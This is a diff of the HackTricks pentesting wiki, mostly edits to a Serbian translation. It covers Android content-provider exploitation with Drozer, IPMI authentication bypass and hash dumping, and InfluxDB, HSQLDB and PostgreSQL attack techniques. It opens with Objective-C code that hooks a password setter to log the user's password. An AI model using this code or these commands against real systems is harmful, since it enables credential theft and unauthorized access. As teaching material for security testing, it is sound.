// Function that will log the password and call the original setPassword(pass, file_path) method
|
||||
NSLog(@"[+] Password is: %@", password);
|
||||
|
||||
// After logging the password call the original method so nothing breaks.
|
||||
return ((BOOL (*)(id,SEL,NSString*, NSURL*))real_setPassword)(self, _cmd, password, keyFileURL);
|
||||
}
|
||||
|
||||
// Library constructor to execute
|
||||
__attribute__((constructor))
|
||||
static void customConstructor(int argc, const char **argv) {
|
||||
// Get the real method address to not lose it
|
||||
Class classMPDocument = NSClassFromString(@"MPDocument");
|
||||
Method real_Method = class_getInstanceMethod(classMPDocument, @selector(setPassword:keyFileURL:));
|
||||
|
||||
// Make the original method setPassword call the fake implementation one
|
||||
IMP fake_IMP = (IMP)custom_setPassword;
|
||||
real_setPassword = method_setImplementation(real_Method, fake_IMP);
|
||||
}
|
||||
```
|
||||
## Reference
|
||||
|
||||
- [https://nshipster.com/method-swizzling/](https://nshipster.com/method-swizzling/)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
@ -1,95 +0,0 @@
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
{{#ref}}
|
||||
https://highon.coffee/blog/penetration-testing-tools-cheat-sheet/#python-tty-shell-trick
|
||||
{{#endref}}
|
||||
|
||||
{{#ref}}
|
||||
https://hausec.com/pentesting-cheatsheet/#_Toc475368982
|
||||
{{#endref}}
|
||||
|
||||
{{#ref}}
|
||||
https://anhtai.me/pentesting-cheatsheet/
|
||||
{{#endref}}
|
||||
|
||||
{{#ref}}
|
||||
https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html
|
||||
{{#endref}}
|
||||
|
||||
{{#ref}}
|
||||
https://ired.team/offensive-security-experiments/offensive-security-cheetsheets
|
||||
{{#endref}}
|
||||
|
||||
{{#ref}}
|
||||
https://chryzsh.gitbooks.io/pentestbook/basics_of_windows.html
|
||||
{{#endref}}
|
||||
|
||||
{{#ref}}
|
||||
https://github.com/wwong99/pentest-notes/blob/master/oscp_resources/OSCP-Survival-Guide.md
|
||||
{{#endref}}
|
||||
|
||||
{{#ref}}
|
||||
https://anhtai.me/oscp-fun-guide/
|
||||
{{#endref}}
|
||||
|
||||
{{#ref}}
|
||||
https://www.thehacker.recipes/
|
||||
{{#endref}}
|
||||
|
||||
{{#ref}}
|
||||
https://github.com/swisskyrepo/PayloadsAllTheThings
|
||||
{{#endref}}
|
||||
|
||||
{{#ref}}
|
||||
https://gtfobins.github.io/
|
||||
{{#endref}}
|
||||
|
||||
{{#ref}}
|
||||
https://github.com/RistBS/Awesome-RedTeam-Cheatsheet
|
||||
{{#endref}}
|
||||
|
||||
{{#ref}}
|
||||
https://github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet
|
||||
{{#endref}}
|
||||
|
||||
{{#ref}}
|
||||
https://hideandsec.sh/
|
||||
{{#endref}}
|
||||
|
||||
{{#ref}}
|
||||
https://cheatsheet.haax.fr/
|
||||
{{#endref}}
|
||||
|
||||
{{#ref}}
|
||||
https://infosecwriteups.com/
|
||||
{{#endref}}
|
||||
|
||||
{{#ref}}
|
||||
https://www.exploit-db.com/
|
||||
{{#endref}}
|
||||
|
||||
{{#ref}}
|
||||
https://wadcoms.github.io/
|
||||
{{#endref}}
|
||||
|
||||
{{#ref}}
|
||||
https://lolbas-project.github.io
|
||||
{{#endref}}
|
||||
|
||||
{{#ref}}
|
||||
https://pentestbook.six2dez.com/
|
||||
{{#endref}}
|
||||
|
||||
{{#ref}}
|
||||
https://www.hackingarticles.in/
|
||||
{{#endref}}
|
||||
|
||||
{{#ref}}
|
||||
https://pentestlab.blog/
|
||||
{{#endref}}
|
||||
|
||||
{{#ref}}
|
||||
https://ippsec.rocks/
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
@ -1,14 +1,12 @@
|
||||
# Iskorišćavanje Content Providera
|
||||
|
||||
## Iskorišćavanje Content Providera
|
||||
# Exploiting Content Providers
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Uvod
|
||||
## Intro
|
||||
|
||||
Podaci se **dostavljaju iz jedne aplikacije u druge** na zahtev od strane komponente poznate kao **content provider**. Ovi zahtevi se upravljaju putem metoda **ContentResolver klase**. Content provideri mogu čuvati svoje podatke na različitim mestima, kao što su **baza podataka**, **fajlovi** ili preko **mreže**.
|
||||
Podaci se **dostavljaju iz jedne aplikacije u druge** na zahtev od strane komponente poznate kao **content provider**. Ovi zahtevi se upravljaju putem metoda **ContentResolver klase**. Content provider-i mogu čuvati svoje podatke na različitim mestima, kao što su **baza podataka**, **fajlovi** ili preko **mreže**.
|
||||
|
||||
U _Manifest.xml_ datoteci, deklaracija content providera je obavezna. Na primer:
|
||||
U _Manifest.xml_ datoteci, deklaracija content provider-a je obavezna. Na primer:
|
||||
```xml
|
||||
<provider android:name=".DBContentProvider" android:exported="true" android:multiprocess="true" android:authorities="com.mwr.example.sieve.DBContentProvider">
|
||||
<path-permission android:readPermission="com.mwr.example.sieve.READ_KEYS" android:writePermission="com.mwr.example.sieve.WRITE_KEYS" android:path="/Keys"/>
|
||||
@ -40,7 +38,7 @@ Content Provider: com.mwr.example.sieve.FileBackupProvider
|
||||
Multiprocess Allowed: True
|
||||
Grant Uri Permissions: False
|
||||
```
|
||||
Moguće je sastaviti kako doći do **DBContentProvider** tako što se URI-ji započinju sa “_content://_”. Ovaj pristup se zasniva na uvidima dobijenim korišćenjem Drozer-a, gde su ključne informacije bile locirane u _/Keys_ direktorijumu.
|
||||
Moguće je sastaviti kako doći do **DBContentProvider** počinjanjem URI-ja sa “_content://_”. Ovaj pristup se zasniva na uvidima dobijenim korišćenjem Drozer-a, gde su ključne informacije bile locirane u _/Keys_ direktorijumu.
|
||||
|
||||
Drozer može **pogoditi i isprobati nekoliko URI-ja**:
|
||||
```
|
||||
@ -64,12 +62,12 @@ Takođe, ako ne možete pronaći pune upite, možete **proveriti koja imena su d
|
||||
|
||||
Upit će biti kao: `content://name.of.package.class/declared_name`
|
||||
|
||||
## **Content Providers podržani bazom podataka**
|
||||
## **Content Providers sa podrškom za bazu podataka**
|
||||
|
||||
Verovatno se većina Content Providers koristi kao **interfejs** za **bazu podataka**. Stoga, ako možete da mu pristupite, mogli biste da **izvučete, ažurirate, umetnete i obrišete** informacije.\
|
||||
Proverite da li možete da **pristupite osetljivim informacijama** ili pokušajte da ih promenite da biste **zaobišli mehanizme autorizacije**.
|
||||
Proverite da li možete da **pristupite osetljivim informacijama** ili pokušajte da ih promenite kako biste **zaobišli mehanizme autorizacije**.
|
||||
|
||||
Kada proveravate kod Content Provider-a, **obratite pažnju** i na **funkcije** nazvane kao: _query, insert, update i delete_:
|
||||
Kada proveravate kod Content Provider-a, **pazite** takođe na **funkcije** nazvane kao: _query, insert, update i delete_:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -87,30 +85,30 @@ password: PSFjqXIMVa5NJFudgDuuLVgJYFD+8w==
|
||||
-
|
||||
email: incognitoguy50@gmail.com
|
||||
```
|
||||
### Unesite sadržaj
|
||||
### Insert content
|
||||
|
||||
Upitom u bazu podataka saznaćete **ime kolona**, zatim ćete moći da unesete podatke u DB:
|
||||
Kvarći bazu podataka naučićete **ime kolona**, zatim, mogli biste da ubacite podatke u DB:
|
||||
|
||||
.png>)
|
||||
|
||||
.png>)
|
||||
|
||||
_Napomena da u unosu i ažuriranju možete koristiti --string za označavanje stringa, --double za označavanje double-a, --float, --integer, --long, --short, --boolean_
|
||||
_Napomena da u insert i update možete koristiti --string da označite string, --double da označite double, --float, --integer, --long, --short, --boolean_
|
||||
|
||||
### Ažurirajte sadržaj
|
||||
### Update content
|
||||
|
||||
Poznavajući ime kolona, takođe možete **modifikovati unose**:
|
||||
Poznavajući ime kolona mogli biste takođe **modifikovati unose**:
|
||||
|
||||
.png>)
|
||||
|
||||
### Obrišite sadržaj
|
||||
### Delete content
|
||||
|
||||
.png>)
|
||||
|
||||
### **SQL Injekcija**
|
||||
### **SQL Injection**
|
||||
|
||||
Jednostavno je testirati SQL injekciju **(SQLite)** manipulisanjem **projekcijom** i **poljima selekcije** koja se prosleđuju provajderu sadržaja.\
|
||||
Kada upitujete Content Provider, postoje 2 zanimljiva argumenta za pretragu informacija: _--selection_ i _--projection_:
|
||||
Jednostavno je testirati SQL injection **(SQLite)** manipulišući **projekcijom** i **poljima selekcije** koja se prosleđuju provajderu sadržaja.\
|
||||
Kada kvarćete Content Provider postoje 2 zanimljiva argumenta za pretragu informacija: _--selection_ i _--projection_:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -147,7 +145,7 @@ android_metadata
|
||||
notes
|
||||
sqlite_sequence
|
||||
```
|
||||
## **Content Providers sa podrškom za fajl sistem**
|
||||
## **Content Providers zasnovani na fajl sistemu**
|
||||
|
||||
Content providers se takođe mogu koristiti za **pristup fajlovima:**
|
||||
|
||||
@ -160,14 +158,14 @@ Možete čitati fajlove iz Content Providera
|
||||
dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts
|
||||
127.0.0.1 localhost
|
||||
```
|
||||
### **Path Traversal**
|
||||
### **Putanja Prelaz**
|
||||
|
||||
Ako možete pristupiti datotekama, možete pokušati da zloupotrebite Path Traversal (u ovom slučaju to nije neophodno, ali možete pokušati da koristite "_../_" i slične trikove).
|
||||
Ako možete pristupiti datotekama, možete pokušati da zloupotrebite Putanju Prelaz (u ovom slučaju to nije neophodno, ali možete pokušati da koristite "_../_" i slične trikove).
|
||||
```
|
||||
dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts
|
||||
127.0.0.1 localhost
|
||||
```
|
||||
**Automatsko otkrivanje putanje prelaska od strane Drozer-a**
|
||||
**Automatsko otkrivanje putanje prolaska od strane Drozer**
|
||||
```
|
||||
dz> run scanner.provider.traversal -a com.mwr.example.sieve
|
||||
Scanning com.mwr.example.sieve...
|
||||
|
@ -1,11 +1,9 @@
|
||||
# 623/UDP/TCP - IPMI
|
||||
|
||||
## 623/UDP/TCP - IPMI
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## Osnovne Informacije
|
||||
## Osnovne informacije
|
||||
|
||||
### **Pregled IPMI**
|
||||
|
||||
@ -25,7 +23,7 @@ Od svog uvođenja od strane Intela 1998. godine, IPMI su podržavali brojni doba
|
||||
|
||||

|
||||
|
||||
**Podrazumevani Port**: 623/UDP/TCP (Obično je na UDP-u, ali može biti i na TCP-u)
|
||||
**Podrazumevani port**: 623/UDP/TCP (Obično je na UDP-u, ali može biti i na TCP-u)
|
||||
|
||||
## Enumeracija
|
||||
|
||||
@ -40,13 +38,13 @@ Možete **identifikovati** **verziju** koristeći:
|
||||
use auxiliary/scanner/ipmi/ipmi_version
|
||||
nmap -sU --script ipmi-version -p 623 10.10.10.10
|
||||
```
|
||||
### IPMI Ranljivosti
|
||||
### IPMI Vulnerabilities
|
||||
|
||||
U oblasti IPMI 2.0, značajna sigurnosna greška je otkrivena od strane Dana Farmera, otkrivajući ranjivost kroz **cipher type 0**. Ova ranjivost, dokumentovana u detalje na [istraživanju Dana Farmera](http://fish2.com/ipmi/cipherzero.html), omogućava neovlašćen pristup sa bilo kojom lozinkom pod uslovom da je ciljana validna korisnička adresa. Ova slabost je pronađena kod različitih BMC-ova proizvođača kao što su HP, Dell i Supermicro, što sugeriše da je reč o rasprostranjenom problemu u svim implementacijama IPMI 2.0.
|
||||
U oblasti IPMI 2.0, značajna sigurnosna greška je otkrivena od strane Dana Farmera, otkrivajući ranjivost kroz **cipher type 0**. Ova ranjivost, detaljno dokumentovana na [Dan Farmer's research](http://fish2.com/ipmi/cipherzero.html), omogućava neovlašćen pristup sa bilo kojom lozinkom pod uslovom da je ciljana validna korisnička adresa. Ova slabost je pronađena kod raznih BMC-ova proizvođača kao što su HP, Dell i Supermicro, što sugeriše na široko rasprostranjen problem unutar svih IPMI 2.0 implementacija.
|
||||
|
||||
### **IPMI Obilaženje Autentifikacije putem Cipher 0**
|
||||
### **IPMI Authentication Bypass via Cipher 0**
|
||||
|
||||
Da bi se otkrila ova greška, može se koristiti sledeći Metasploit pomoćni skener:
|
||||
Da bi se otkrila ova greška, može se koristiti sledeći Metasploit auxiliary scanner:
|
||||
```bash
|
||||
use auxiliary/scanner/ipmi/ipmi_cipher_zero
|
||||
```
|
||||
@ -62,7 +60,7 @@ Ova ranjivost omogućava preuzimanje heširanih lozinki sa solju (MD5 i SHA1) za
|
||||
```bash
|
||||
msf > use auxiliary/scanner/ipmi/ipmi_dumphashes
|
||||
```
|
||||
### **IPMI Anonimna Autentifikacija**
|
||||
### **IPMI anonimna autentifikacija**
|
||||
|
||||
Podrazumevana konfiguracija u mnogim BMC-ima omogućava "anonimni" pristup, koji se karakteriše praznim korisničkim imenom i lozinkom. Ova konfiguracija se može iskoristiti za resetovanje lozinki korisničkih naloga koristeći `ipmitool`:
|
||||
```bash
|
||||
@ -87,11 +85,11 @@ msf> use exploit/multi/upnp/libupnp_ssdp_overflow
|
||||
|
||||
- **HP Integrated Lights Out (iLO)** koristi **fabricki nasumično generisanu 8-znamenkastu string** kao svoju podrazumevanu lozinku, pokazujući viši nivo sigurnosti.
|
||||
- Proizvodi kao što su **Dellov iDRAC, IBM-ov IMM** i **Fujitsu-ov Integrated Remote Management Controller** koriste lako pogađajuće lozinke kao što su "calvin", "PASSW0RD" (sa nulom) i "admin" redom.
|
||||
- Slično, **Supermicro IPMI (2.0), Oracle/Sun ILOM** i **ASUS iKVM BMC** takođe koriste jednostavne podrazumevane akreditive, pri čemu "ADMIN", "changeme" i "admin" služe kao njihove lozinke.
|
||||
- Slično tome, **Supermicro IPMI (2.0), Oracle/Sun ILOM** i **ASUS iKVM BMC** takođe koriste jednostavne podrazumevane akreditive, pri čemu "ADMIN", "changeme" i "admin" služe kao njihove lozinke.
|
||||
|
||||
## Accessing the Host via BMC
|
||||
|
||||
Administrativni pristup Kontroleru upravljanja matičnom pločom (BMC) otvara različite puteve za pristup operativnom sistemu hosta. Jednostavan pristup uključuje iskorišćavanje BMC-ove funkcionalnosti Tastatura, Video, Miš (KVM). To se može uraditi ili ponovnim pokretanjem hosta u root shell putem GRUB-a (koristeći `init=/bin/sh`) ili pokretanjem sa virtuelnog CD-ROM-a postavljenog kao disk za oporavak. Ove metode omogućavaju direktnu manipulaciju diskom hosta, uključujući umetanje backdoor-a, ekstrakciju podataka ili bilo koje potrebne radnje za procenu sigurnosti. Međutim, ovo zahteva ponovno pokretanje hosta, što je značajan nedostatak. Bez ponovnog pokretanja, pristup aktivnom hostu je složeniji i varira u zavisnosti od konfiguracije hosta. Ako fizička ili serijska konzola hosta ostane prijavljena, lako se može preuzeti putem BMC-ovih KVM ili serial-over-LAN (sol) funkcionalnosti putem `ipmitool`. Istraživanje iskorišćavanja zajedničkih hardverskih resursa, kao što su i2c magistrala i Super I/O čip, je oblast koja zahteva dalju istragu.
|
||||
Administrativni pristup Kontroleru za upravljanje matičnom pločom (BMC) otvara različite puteve za pristup operativnom sistemu hosta. Jednostavan pristup uključuje iskorišćavanje KVM funkcionalnosti BMC-a. To se može uraditi ili ponovnim pokretanjem hosta u root shell putem GRUB-a (koristeći `init=/bin/sh`) ili pokretanjem sa virtuelnog CD-ROM-a postavljenog kao disk za oporavak. Ove metode omogućavaju direktnu manipulaciju diskom hosta, uključujući umetanje backdoor-a, ekstrakciju podataka ili bilo koje potrebne radnje za procenu sigurnosti. Međutim, ovo zahteva ponovno pokretanje hosta, što je značajan nedostatak. Bez ponovnog pokretanja, pristup aktivnom hostu je složeniji i varira u zavisnosti od konfiguracije hosta. Ako fizička ili serijska konzola hosta ostane prijavljena, može se lako preuzeti putem KVM-a BMC-a ili serijske veze preko LAN-a (sol) putem `ipmitool`. Istraživanje iskorišćavanja zajedničkih hardverskih resursa, kao što su i2c magistrala i Super I/O čip, je oblast koja zahteva dalju istragu.
|
||||
|
||||
## Introducing Backdoors into BMC from the Host
|
||||
|
||||
|
@ -1,6 +1,5 @@
|
||||
# 8086 - Pentesting InfluxDB
|
||||
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## Osnovne informacije
|
||||
@ -12,13 +11,13 @@
|
||||
PORT STATE SERVICE VERSION
|
||||
8086/tcp open http InfluxDB http admin 1.7.5
|
||||
```
|
||||
## Enumeracija
|
||||
## Enumeration
|
||||
|
||||
Sa tačke gledišta pentestera, ovo je još jedna baza podataka koja može čuvati osetljive informacije, pa je zanimljivo znati kako izvući sve informacije.
|
||||
|
||||
### Autentifikacija
|
||||
### Authentication
|
||||
|
||||
InfluxDB može zahtevati autentifikaciju ili ne.
|
||||
InfluxDB može zahtevati autentifikaciju ili ne
|
||||
```bash
|
||||
# Try unauthenticated
|
||||
influx -host 'host name' -port 'port #'
|
||||
@ -99,7 +98,7 @@ time cpu host usage_guest usage_guest_nice usage_idle
|
||||
> [!WARNING]
|
||||
> U nekim testiranjima sa zaobilaženjem autentifikacije primećeno je da ime tabele mora biti između dvostrukih navodnika kao: `select * from "cpu"`
|
||||
|
||||
### Automatizovana autentifikacija
|
||||
### Automatizovana Autentifikacija
|
||||
```bash
|
||||
msf6 > use auxiliary/scanner/http/influxdb_enum
|
||||
```
|
||||
|
@ -1,44 +1,44 @@
|
||||
# 9001 - Pentesting HSQLDB
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
# Osnovne informacije
|
||||
## Osnovne informacije
|
||||
|
||||
**HSQLDB \([HyperSQL DataBase](http://hsqldb.org/)\)** je vodeći SQL relacijski sistem baza podataka napisan u Javi. Pruža mali, brzi višedretveni i transakcijski motor baze podataka sa tabelama u memoriji i na disku, i podržava ugrađene i serverske režime.
|
||||
**HSQLDB \([HyperSQL DataBase](http://hsqldb.org/)\)** je vodeći SQL relacijski sistem baza podataka napisan u Javi. Pruža mali, brzi višedretveni i transakcijski motor baze podataka sa tabelama u memoriji i na disku i podržava ugrađene i serverske režime.
|
||||
|
||||
**Podrazumevani port:** 9001
|
||||
```text
|
||||
9001/tcp open jdbc HSQLDB JDBC (Network Compatibility Version 2.3.4.0)
|
||||
```
|
||||
# Информације
|
||||
## Podrazumevana podešavanja
|
||||
|
||||
### Подразумеване поставке
|
||||
Imajte na umu da je ova usluga podrazumevano verovatno pokrenuta u memoriji ili je vezana za localhost. Ako ste je pronašli, verovatno ste iskoristili drugu uslugu i tražite da povećate privilegije.
|
||||
|
||||
Имајте на уму да овај сервис по подразумеваној вредности вероватно ради у меморији или је повезан на localhost. Ако сте га нашли, вероватно сте искористили други сервис и покушавате да повећате привилегије.
|
||||
Podrazumevani kredencijali su obično `sa` sa praznom lozinkom.
|
||||
|
||||
Подразумевани креденцијали су обично `sa` са празном лозинком.
|
||||
|
||||
Ако сте искористили други сервис, потражите могуће креденцијале користећи
|
||||
Ako ste iskoristili drugu uslugu, potražite moguće kredencijale koristeći
|
||||
```text
|
||||
grep -rP 'jdbc:hsqldb.*password.*' /path/to/search
|
||||
```
|
||||
Napomena o imenu baze podataka - biće vam potrebno za povezivanje.
|
||||
|
||||
# Prikupljanje informacija
|
||||
## Prikupljanje informacija
|
||||
|
||||
Povežite se na DB instancu preuzimanjem [HSQLDB](https://sourceforge.net/projects/hsqldb/files/) i ekstraktovanjem `hsqldb/lib/hsqldb.jar`. Pokrenite GUI aplikaciju \(eww\) koristeći `java -jar hsqldb.jar` i povežite se na instancu koristeći otkrivene/slabe akreditive.
|
||||
Povežite se na DB instancu preuzimanjem [HSQLDB](https://sourceforge.net/projects/hsqldb/files/) i ekstraktovanjem `hsqldb/lib/hsqldb.jar`. Pokrenite GUI aplikaciju \(eww\) koristeći `java -jar hsqldb.jar` i povežite se na instancu koristeći otkrivene/slabe kredencijale.
|
||||
|
||||
Napomena: URL za povezivanje će izgledati otprilike ovako za udaljeni sistem: `jdbc:hsqldb:hsql://ip/DBNAME`.
|
||||
|
||||
# Trikovi
|
||||
## Trikovi
|
||||
|
||||
## Java jezičke rutine
|
||||
### Java jezičke rutine
|
||||
|
||||
Možemo pozvati statičke metode Java klase iz HSQLDB koristeći Java jezičke rutine. Imajte na umu da klasa koja se poziva mora biti u classpath-u aplikacije.
|
||||
|
||||
JRT-ovi mogu biti `funkcije` ili `procedure`. Funkcije se mogu pozivati putem SQL izjava ako Java metoda vraća jednu ili više SQL-kompatibilnih primitivnih varijabli. Pozivaju se koristeći `VALUES` izjavu.
|
||||
JRT-ovi mogu biti `funkcije` ili `procedure`. Funkcije se mogu pozivati putem SQL izjava ako Java metoda vraća jednu ili više SQL-kompatibilnih primitivnih promenljivih. Pozivaju se koristeći `VALUES` izjavu.
|
||||
|
||||
Ako Java metoda koju želimo da pozovemo vraća void, moramo koristiti proceduru koja se poziva sa `CALL` izjavom.
|
||||
|
||||
## Čitanje Java sistemskih svojstava
|
||||
### Čitanje Java sistemskih svojstava
|
||||
|
||||
Kreirajte funkciju:
|
||||
```text
|
||||
@ -50,11 +50,11 @@ Izvrši funkciju:
|
||||
```text
|
||||
VALUES(getsystemproperty('user.name'))
|
||||
```
|
||||
Možete pronaći [spisak sistemskih svojstava ovde](https://docs.oracle.com/javase/tutorial/essential/environment/sysprop.html).
|
||||
Možete pronaći [listu sistemskih svojstava ovde](https://docs.oracle.com/javase/tutorial/essential/environment/sysprop.html).
|
||||
|
||||
## Pisanje sadržaja u datoteku
|
||||
### Pisanje sadržaja u datoteku
|
||||
|
||||
Možete koristiti `com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename` Java gadget koji se nalazi u JDK \(automatski učitan u klasu aplikacije\) da biste zapisali heksadecimalno kodirane stavke na disk putem prilagođene procedure. **Napomena: maksimalna veličina je 1024 bajta**.
|
||||
Možete koristiti `com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename` Java gadget koji se nalazi u JDK-u \(automatski učitan u klasu aplikacije\) da biste pisali heksadecimalno kodirane stavke na disk putem prilagođene procedure. **Napomena: maksimalna veličina je 1024 bajta**.
|
||||
|
||||
Kreirajte proceduru:
|
||||
```text
|
||||
|
@ -1,11 +1,10 @@
|
||||
# 5432,5433 - Pentesting Postgresql
|
||||
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## **Osnovne informacije**
|
||||
|
||||
**PostgreSQL** se opisuje kao **objektno-relaциони sistem baza podataka** koji je **otvorenog koda**. Ovaj sistem ne samo da koristi SQL jezik, već ga i unapređuje dodatnim funkcijama. Njegove mogućnosti omogućavaju mu da upravlja širokim spektrom tipova podataka i operacija, što ga čini svestranom opcijom za programere i organizacije.
|
||||
**PostgreSQL** se opisuje kao **sistem objektnog-relacionog baze podataka** koji je **otvorenog koda**. Ovaj sistem ne samo da koristi SQL jezik, već ga i obogaćuje dodatnim funkcijama. Njegove mogućnosti omogućavaju mu da upravlja širokim spektrom tipova podataka i operacija, što ga čini svestranom opcijom za programere i organizacije.
|
||||
|
||||
**Podrazumevani port:** 5432, a ako je ovaj port već u upotrebi, čini se da će postgresql koristiti sledeći port (verovatno 5433) koji nije u upotrebi.
|
||||
```
|
||||
@ -70,7 +69,7 @@ msf> use auxiliary/scanner/postgres/postgres_dbname_flag_injection
|
||||
|
||||
### **Skeniranje portova**
|
||||
|
||||
Prema [**ovoj studiji**](https://www.exploit-db.com/papers/13084), kada pokušaj povezivanja ne uspe, `dblink` baca `sqlclient_unable_to_establish_sqlconnection` izuzetak koji uključuje objašnjenje greške. Primeri ovih detalja su navedeni u nastavku.
|
||||
Prema [**ovoj studiji**](https://www.exploit-db.com/papers/13084), kada pokušaj povezivanja ne uspe, `dblink` baca izuzetak `sqlclient_unable_to_establish_sqlconnection` koji uključuje objašnjenje greške. Primeri ovih detalja su navedeni u nastavku.
|
||||
```sql
|
||||
SELECT * FROM dblink_connect('host=1.2.3.4
|
||||
port=5678
|
||||
@ -102,7 +101,7 @@ DETAIL: FATAL: password authentication failed for user "name"
|
||||
DETAIL: could not connect to server: Connection timed out Is the server
|
||||
running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?
|
||||
```
|
||||
U PL/pgSQL funkcijama trenutno nije moguće dobiti detalje o izuzecima. Međutim, ako imate direktan pristup PostgreSQL serveru, možete dobiti potrebne informacije. Ako vađenje korisničkih imena i lozinki iz sistemskih tabela nije izvodljivo, možete razmotriti korišćenje metode napada rečnikom koja je objašnjena u prethodnom odeljku, jer bi mogla potencijalno dati pozitivne rezultate.
|
||||
U PL/pgSQL funkcijama trenutno nije moguće dobiti detalje o izuzecima. Međutim, ako imate direktan pristup PostgreSQL serveru, možete dobiti potrebne informacije. Ako vađenje korisničkih imena i lozinki iz sistemskih tabela nije izvodljivo, možete razmotriti korišćenje metode napada rečnikom koja je razmatrana u prethodnom odeljku, jer bi mogla potencijalno doneti pozitivne rezultate.
|
||||
|
||||
## Enumeracija privilegija
|
||||
|
||||
@ -110,17 +109,17 @@ U PL/pgSQL funkcijama trenutno nije moguće dobiti detalje o izuzecima. Međutim
|
||||
|
||||
| Tipovi uloga | |
|
||||
| -------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| rolsuper | Uloga ima superkorisničke privilegije |
|
||||
| rolsuper | Uloga ima privilegije superkorisnika |
|
||||
| rolinherit | Uloga automatski nasleđuje privilegije uloga čiji je član |
|
||||
| rolcreaterole | Uloga može kreirati nove uloge |
|
||||
| rolcreaterole | Uloga može kreirati više uloga |
|
||||
| rolcreatedb | Uloga može kreirati baze podataka |
|
||||
| rolcanlogin | Uloga može da se prijavi. To jest, ova uloga može biti data kao identifikator za autorizaciju početne sesije |
|
||||
| rolreplication | Uloga je replikacijska uloga. Replikacijska uloga može inicirati replikacione veze i kreirati i brisati replikacione slotove. |
|
||||
| rolconnlimit | Za uloge koje mogu da se prijave, ovo postavlja maksimalan broj istovremenih veza koje ova uloga može napraviti. -1 znači bez ograničenja. |
|
||||
| rolreplication | Uloga je uloga replikacije. Uloga replikacije može inicirati replikacione veze i kreirati i brisati replikacione slotove. |
|
||||
| rolconnlimit | Za uloge koje mogu da se prijave, ovo postavlja maksimalan broj istovremenih veza koje ova uloga može napraviti. -1 znači bez ograničenja. |
|
||||
| rolpassword | Nije lozinka (uvek se prikazuje kao `********`) |
|
||||
| rolvaliduntil | Vreme isteka lozinke (koristi se samo za autentifikaciju lozinkom); null ako nema isteka |
|
||||
| rolbypassrls | Uloga zaobilazi svaku politiku bezbednosti na nivou reda, vidi [Section 5.8](https://www.postgresql.org/docs/current/ddl-rowsecurity.html) za više informacija. |
|
||||
| rolconfig | Podrazumevane vrednosti specifične za ulogu za promenljive konfiguracije u vreme izvođenja |
|
||||
| rolconfig | Podrazumevane vrednosti specifične za ulogu za promenljive konfiguracije u vreme izvršavanja |
|
||||
| oid | ID uloge |
|
||||
|
||||
#### Zanimljive grupe
|
||||
@ -129,8 +128,8 @@ U PL/pgSQL funkcijama trenutno nije moguće dobiti detalje o izuzecima. Međutim
|
||||
- Ako ste član **`pg_read_server_files`** možete **čitati** fajlove
|
||||
- Ako ste član **`pg_write_server_files`** možete **pisati** fajlove
|
||||
|
||||
> [!NOTE]
|
||||
> Imajte na umu da je u Postgresu **korisnik**, **grupa** i **uloga** **isto**. To zavisi samo od **načina na koji ga koristite** i da li **dozvoljavate prijavu**.
|
||||
> [!TIP]
|
||||
> Imajte na umu da je u Postgresu **korisnik**, **grupa** i **uloga** **isto**. To zavisi samo od **načina na koji to koristite** i da li **dozvoljavate prijavu**.
|
||||
```sql
|
||||
# Get users roles
|
||||
\du
|
||||
@ -188,7 +187,7 @@ SELECT grantee,table_schema,table_name,privilege_type FROM information_schema.ro
|
||||
## If nothing, you don't have any permission
|
||||
SELECT grantee,table_schema,table_name,privilege_type FROM information_schema.role_table_grants WHERE table_name='pg_shadow';
|
||||
```
|
||||
### Funkcije
|
||||
### Функције
|
||||
```sql
|
||||
# Interesting functions are inside pg_catalog
|
||||
\df * #Get all
|
||||
@ -208,11 +207,11 @@ ORDER BY routines.routine_name, parameters.ordinal_position;
|
||||
# Another aparent option
|
||||
SELECT * FROM pg_proc;
|
||||
```
|
||||
## Akcije na fajl sistemu
|
||||
## File-system actions
|
||||
|
||||
### Čitanje direktorijuma i fajlova
|
||||
### Read directories and files
|
||||
|
||||
Iz ovog [**commit** ](https://github.com/postgres/postgres/commit/0fdc8495bff02684142a44ab3bc5b18a8ca1863a) članovi definisane **`DEFAULT_ROLE_READ_SERVER_FILES`** grupe (nazvane **`pg_read_server_files`**) i **super korisnici** mogu koristiti **`COPY`** metodu na bilo kojoj putanji (pogledajte `convert_and_check_filename` u `genfile.c`):
|
||||
From this [**commit** ](https://github.com/postgres/postgres/commit/0fdc8495bff02684142a44ab3bc5b18a8ca1863a)članovi definisane **`DEFAULT_ROLE_READ_SERVER_FILES`** grupe (nazvane **`pg_read_server_files`**) i **super korisnici** mogu koristiti **`COPY`** metodu na bilo kojoj putanji (check out `convert_and_check_filename` in `genfile.c`):
|
||||
```sql
|
||||
# Read file
|
||||
CREATE TABLE demo(t text);
|
||||
@ -228,7 +227,7 @@ SELECT * FROM demo;
|
||||
>
|
||||
> [**Više informacija.**](pentesting-postgresql.md#privilege-escalation-with-createrole)
|
||||
|
||||
Postoje **druge postgres funkcije** koje se mogu koristiti za **čitati datoteku ili nabrojati direktorijum**. Samo **super korisnici** i **korisnici sa eksplicitnim dozvolama** mogu ih koristiti:
|
||||
Postoje **druge postgres funkcije** koje se mogu koristiti za **čitati datoteku ili listati direktorijum**. Samo **superkorisnici** i **korisnici sa eksplicitnim dozvolama** mogu ih koristiti:
|
||||
```sql
|
||||
# Before executing these function go to the postgres DB (not in the template1)
|
||||
\c postgres
|
||||
